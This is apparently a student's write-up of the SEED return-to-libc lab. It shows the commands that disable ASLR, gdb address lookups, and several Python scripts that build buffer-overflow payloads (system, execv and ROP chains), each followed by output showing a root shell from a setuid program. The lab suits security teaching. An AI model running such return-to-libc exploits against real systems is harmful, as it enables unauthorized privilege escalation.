Task1:

```
[10/07/21]seed@VM:~$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
[10/07/21]seed@VM:~$
```

Turning off address space randomization

```
[10/07/21]seed@VM:~/.../Labsetup$ sudo ln -sf /bin/zsh /bin/sh
[10/07/21]seed@VM:~/.../Labsetup$
```

Linking /bin/sh to another shell that does not have such a countermeasure which drop privileges on execution

```
[10/07/21]seed@VM:~/.../Labsetup$ make
gcc -m32 -DBUF_SIZE=120 -fno-stack-protector -z noexecstack -o retlib retlib.c
sudo chown root retlib && sudo chmod 4755 retlib
[10/07/21]seed@VM:~/.../Labsetup$ ls
exploit.py  Makefile  retlib  retlib.c
[10/07/21]seed@VM:~/.../Labsetup$
```

We use the make command to compile the retlib program that is already available to us. The make command uses Makefile which is also already given to us

```
[10/07/21]seed@VM:~/.../Labsetup$ touch badfile
[10/07/21]seed@VM:~/.../Labsetup$ ls
badfile  exploit.py  Makefile  retlib  retlib.c
[10/07/21]seed@VM:~/.../Labsetup$ gdb -q retlib
/opt/gdbpeda/lib/shellcode.py:24: SyntaxWarning: "is" with a literal. Did you me
an "=="?
  if sys.version_info.major is 3:
/opt/gdbpeda/lib/shellcode.py:379: SyntaxWarning: "is" with a literal. Did you m
ean "=="?
  if pyversion is 3:
Reading symbols from retlib...
(No debugging symbols found in retlib)
gdb-peda$
```

We then create a badfile in which the payload for buffer overflow will be created in.

And then we use gdb on retlib to get the required adressess

```
gdb-peda$ break main
Breakpoint 1 at 0x12f8
gdb-peda$ run
Starting program: /home/seed/assignment4/Labsetup(3)/Labsetup/retlib
[-----------------------------------registers-----------------------------------]
EAX: 0xf7fb6808 --> 0xffffd1ec --> 0xffffd3ba ("SHELL=/bin/bash")
EBX: 0x0
ECX: 0xc79217bd
EDX: 0xffffd174 --> 0x0
ESI: 0xf7fb4000 --> 0x1e6d6c
EDI: 0xf7fb4000 --> 0x1e6d6c
EBP: 0x0
ESP: 0xffffd14c --> 0xf7debee5 (<__libc_start_main+245>:        add    esp,0x10)
EIP: 0x565562f8 (<main>:        endbr32)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x565562f3 <foo+58>: mov    ebx,DWORD PTR [ebp-0x4]
   0x565562f6 <foo+61>: leave
   0x565562f7 <foo+62>: ret
=> 0x565562f8 <main>:   endbr32
   0x565562fc <main+4>: lea    ecx,[esp+0x4]
   0x56556300 <main+8>: and    esp,0xfffffff0
Breakpoint 1, 0x565562f8 in main ()
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xf7e12420 <system>
gdb-peda$ p exit
$2 = {<text variable, no debug info>} 0xf7e04f80 <exit>
gdb-peda$
```

After breaking at main and running the program we print out the address of “system” and “exit” and then save these address at another location which will be later used in exploit

Task2:

```
[10/07/21]seed@VM:~/.../Labsetup$ export MYSHELL=/bin/sh
[10/07/21]seed@VM:~/.../Labsetup$ env | grep MYSHELL
MYSHELL=/bin/sh
[10/07/21]seed@VM:~/.../Labsetup$
```

In this task we use export command to create an environment variable that points to shell location in the directory
And check if the variable is exported into the environment variables using the env command

```c
#include<stdio.h>

void main()
{
char*shell =  getenv("MYSHELL");
        if (shell)
                printf("%x\n", (unsigned int)shell);

}
```

The above is the code for getting the address of myshell environment variable that we created that is on stack

```
[10/07/21]seed@VM:~/.../Labsetup$ gedit prtenv.c
[10/07/21]seed@VM:~/.../Labsetup$ gcc -o prtenv prtenv.c
prtenv.c: In function 'main':
prtenv.c:5:15: warning: implicit declaration of function 'getenv' [-Wimplicit-function-declaration]
    5 | char*shell =  getenv("MYSHELL");
      |               ^~~~~~
prtenv.c:5:15: warning: initialization of 'char *' from 'int' makes pointer from integer without a cast [-Wint-conversion]
prtenv.c:7:18: warning: cast from pointer to integer of different size [-Wpointer-to-int-cast]
    7 |   printf("%x\n", (unsigned int)shell);
      |                  ^
[10/07/21]seed@VM:~/.../Labsetup$ ./prtenv
ffffe404
```

Then we compile the program using gcc and execute it to get the address of the variable.

When the code is integrated into retlib.c

```c
int bof(char *str)
{
    char*shell =  getenv("MYSHELL");
    if (shell)
                printf("%x\n", (unsigned int)shell);
    char buffer[BUF_SIZE];
    unsigned int *framep;

    // Copy ebp into framep
    asm("movl %%ebp, %0" : "=r" (framep));

    /* print out information for experiment purpose */
    printf("Address of buffer[] inside bof():  0x%.8x\n",
(unsigned)buffer);
```

```
[10/07/21]seed@VM:~/.../Labsetup$ make
gcc -m32 -DBUF_SIZE=120 -fno-stack-protector -z noexecstack -o retlib retlib.c
sudo chown root retlib && sudo chmod 4755 retlib
[10/07/21]seed@VM:~/.../Labsetup$ ./retlib
Address of input[] inside main():  0xffffcda0
Input size: 0
ffffd404
Address of buffer[] inside bof():  0xffffcd00
Frame Pointer value inside bof():  0xffffcd88
(^_^)(^_^) Returned Properly (^_^)(^_^)
[10/07/21]seed@VM:~/.../Labsetup$
```

We are able to see the same address for the myshell environment variable we exported

Task3:

```
[10/07/21]seed@VM:~/.../Labsetup$ ./retlib
Address of input[] inside main():  0xffffcda0
Input size: 300
Address of buffer[] inside bof():  0xffffcd04
Frame Pointer value inside bof():  0xffffcd88
```

using frame pointer as ebp and buffer address we calculate the value for system which will be ebp - buffer

```
gdb-peda$ p/d 0xffffcd88 - 0xffffcd04
$2 = 132
```

Using gdb we calculate the ebp - buffer and get 132 for which we add 4 and as it is 32 bit and use it as value for system that is Y in exploit.py

```python
#!/usr/bin/env python3
import sys

# Fill content with non-zero values
content = bytearray(0xaa for i in range(300))

X = 144
sh_addr = 0xffffd404      # The address of "/bin/sh"
content[X:X+4] = (sh_addr).to_bytes(4,byteorder='little')

Y = 136
system_addr = 0xf7e12420 # The address of system()
content[Y:Y+4] = (system_addr).to_bytes(4,byteorder='little')

Z = 140
exit_addr = 0xf7e04f80    # The address of exit()
content[Z:Z+4] = (exit_addr).to_bytes(4,byteorder='little')

# Save content to a file
with open("badfile", "wb") as f:
   f.write(content)
```

And then we get the value of z which is +4 of y and then x = z+4. And we also use the address we saved before here in the exploit code. The system address, exit address and the shell address.

```
[10/07/21]seed@VM:~/.../Labsetup$ ./exploit.py
[10/07/21]seed@VM:~/.../Labsetup$ ./retlib
Address of input[] inside main():  0xffffcda0
Input size: 300
Address of buffer[] inside bof():  0xffffcd04
Frame Pointer value inside bof():  0xffffcd88
# whoami
root
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27
(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare),136(docker)
# exit
```

After creating the badfile using the explot.py we are able to exploit the buffer overflow vulnerability that exits in the vulnerable program and are able to invoke root shell

Attack v1:

```
#!/usr/bin/env python3
import sys

# Fill content with non-zero values
content = bytearray(0xaa for i in range(300))

X = 144
sh_addr = 0xffffd404      # The address of "/bin/sh"
content[X:X+4] = (sh_addr).to_bytes(4,byteorder='little')

Y = 136
system_addr = 0xf7e12420 # The address of system()
content[Y:Y+4] = (system_addr).to_bytes(4,byteorder='little')

#Z = 140
#exit_addr = 0xf7e04f80   # The address of exit()
#content[Z:Z+4] = (exit_addr).to_bytes(4,byteorder='little')

# Save content to a file
with open("badfile", "wb") as f:
  f.write(content)
```

```
[10/07/21]seed@VM:~/.../Labsetup$ ./exploit.py
[10/07/21]seed@VM:~/.../Labsetup$ ./retlib
Address of input[] inside main():  0xffffcda0
Input size: 300
Address of buffer[] inside bof():  0xffffcd04
Frame Pointer value inside bof():  0xffffcd88
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27
(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare),136(docker)
# exit
Segmentation fault
```

We are still able to invoke root shell after commenting out the exit part of the program but we segmentation fault when we exit the shell as the exit address is missing

Attack v2:

```
[10/07/21]seed@VM:~/.../Labsetup$ ./exploit.py
[10/07/21]seed@VM:~/.../Labsetup$ ./newretlib
Address of input[] inside main():  0xffffcd90
Input size: 300
Address of buffer[] inside bof():  0xffffccf4
Frame Pointer value inside bof():  0xffffcd78
zsh:1: command not found: h
```

From the observation our attack is not successful after changing the name for the program to newretlib as the address of the “myshell” changes with the number on characters in the program name.

And we also get an error saying zsh:1: command not found: h

Task4:

```
[10/07/21]seed@VM:~/.../Labsetup$ sudo ln -sf /bin/dash /bin/sh
[10/07/21]seed@VM:~/.../Labsetup$
```

Linking the shell to dash shell

```
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xf7e12420 <system>
gdb-peda$ p exit
$2 = {<text variable, no debug info>} 0xf7e04f80 <exit>
gdb-peda$ p execv
$3 = {<text variable, no debug info>} 0xf7e994b0 <execv>
gdb-peda$
```

Using the same method as before we the addresses of system, exit and execv in this task and save them for later use

```python
#!/usr/bin/env python3
import sys

# Fill content with non-zero values
content = bytearray(0xaa for i in range(300))
buffer = 0xffffcd9c
ar = 279

X = 144
sh_addr = 0xffffd404     # The address of "/bin/sh"
content[X:X+4] = (sh_addr).to_bytes(4,byteorder='little')

Y = 136
execv_addr = 0xf7e994b0 # The address of system()
content[Y:Y+4] = (execv_addr).to_bytes(4,byteorder='little')

Z = 140
exit_addr = 0xf7e04f80   # The address of exit()
content[Z:Z+4] = (exit_addr).to_bytes(4,byteorder='little')

content[ar:ar + 8] = bytearray(b'/bin/sh\x00')
content[ar + 8:ar + 12] = bytearray(b'-p\x00\x00')
content[ar + 16:ar + 20] = (buffer + ar).to_bytes(4,byteorder='little')
content[ar + 20:ar + 24] = (buffer + ar + 8).to_bytes(4,byteorder='little')
content[ar + 24:ar + 28] = bytearray(b'\x00' * 4)

content[X + 4:X + 8] = (buffer + ar + 16).to_bytes(4,byteorder='little')

# Save content to a file
with open("badfile", "wb") as f:
  f.write(content)
```

For the exploit in this task we change the system address to “execv” address that we have found using gdb and also use address if input inside main that we get from “./retlib” which is used as buffer for this program and we get ar value by using trial and error method until we get the output and have found that ar accepts the values which are greater then 145

Here we also write the bit level code for execv arguments that are “/bin/sh -p” and null and add them into the content

```
[10/07/21]seed@VM:~/.../Labsetup$ ./exploit.py
[10/07/21]seed@VM:~/.../Labsetup$ ./retlib
ffffd404
Address of input[] inside main():  0xffffcd9c
Input size: 307
Address of buffer[] inside bof():  0xffffccf4
Frame Pointer value inside bof():  0xffffcd78
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27
(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare),136(docker)
# whoami
root
# exit
[10/07/21]seed@VM:~/.../Labsetup$
```

here we are able to create the badfile using the updated exploit and execute retlib to invoke root shell by exploiting buffer overflow vulnerability that exists in the program

Task5:

```python
import sys

# Fill content with non-zero values
content = bytearray(0xaa for i in range(300))
foo_addr = 0x565562d9
buffer = 0xffffcd9c
ar = 200
offset = 136
content[offset:offset + 40] = (foo_addr.to_bytes(4,byteorder='little')) * 10

X = offset + 48
sh_addr = 0xffffd404     # The address of "/bin/sh"
content[X:X+4] = (sh_addr).to_bytes(4,byteorder='little')

Y = offset + 40
execv_addr = 0xf7e994b0 # The address of execv()
content[Y:Y+4] = (execv_addr).to_bytes(4,byteorder='little')

Z = offset + 44
exit_addr = 0xf7e04f80   # The address of exit()
content[Z:Z+4] = (exit_addr).to_bytes(4,byteorder='little')

content[ar:ar + 8] = bytearray(b'/bin/sh\x00')
content[ar + 8:ar + 12] = bytearray(b'-p\x00\x00')
content[ar + 16:ar + 20] = (buffer + ar).to_bytes(4,byteorder='little')
content[ar + 20:ar + 24] = (buffer + ar + 8).to_bytes(4,byteorder='little')
content[ar + 24:ar + 28] = bytearray(b'\x00' * 4)

content[X + 4:X + 8] = (buffer + ar + 16).to_bytes(4,byteorder='little')

# Save content to a file
with open("badfile", "wb") as f:
    f.write(content)
```

For this task we find the address of foo in the retlib program using gdb like we have done in previous tasks and update the exploit.py program with address of foo.

And the value of foo uses the offset that is 136 and since the program has to run for 10 times before it can give us a root shell the final pointer is increased by 40 as each iteration takes 4 bits. Meaning the initial pointer points at offset and the final one points to offset + 40 which calls the function foo 10 times and the foo address is multiplied by 10 for it to run 10 times

And the values of X,Y and Z are also simplified using offset and are also increase by 40 with respect to their values.

```
[10/07/21]seed@VM:~/.../Labsetup$ ./exploit_task5.py
[10/07/21]seed@VM:~/.../Labsetup$ ./retlib
ffffd404
Address of input[] inside main():  0xffffcd9c
Input size: 300
Address of buffer[] inside bof():  0xffffccf4
Frame Pointer value inside bof():  0xffffcd78
Function foo() is invoked 1 times
Function foo() is invoked 2 times
Function foo() is invoked 3 times
Function foo() is invoked 4 times
Function foo() is invoked 5 times
Function foo() is invoked 6 times
Function foo() is invoked 7 times
Function foo() is invoked 8 times
Function foo() is invoked 9 times
Function foo() is invoked 10 times
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27
(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare),136(docker)
# whoami
root
# exit
[10/07/21]seed@VM:~/.../Labsetup$
```

Once the exploit is executed and the badfile is created, retlib is executed and we are able to invoke function foo() 10 times before gaining access to root shell when the vulnerability is exploted.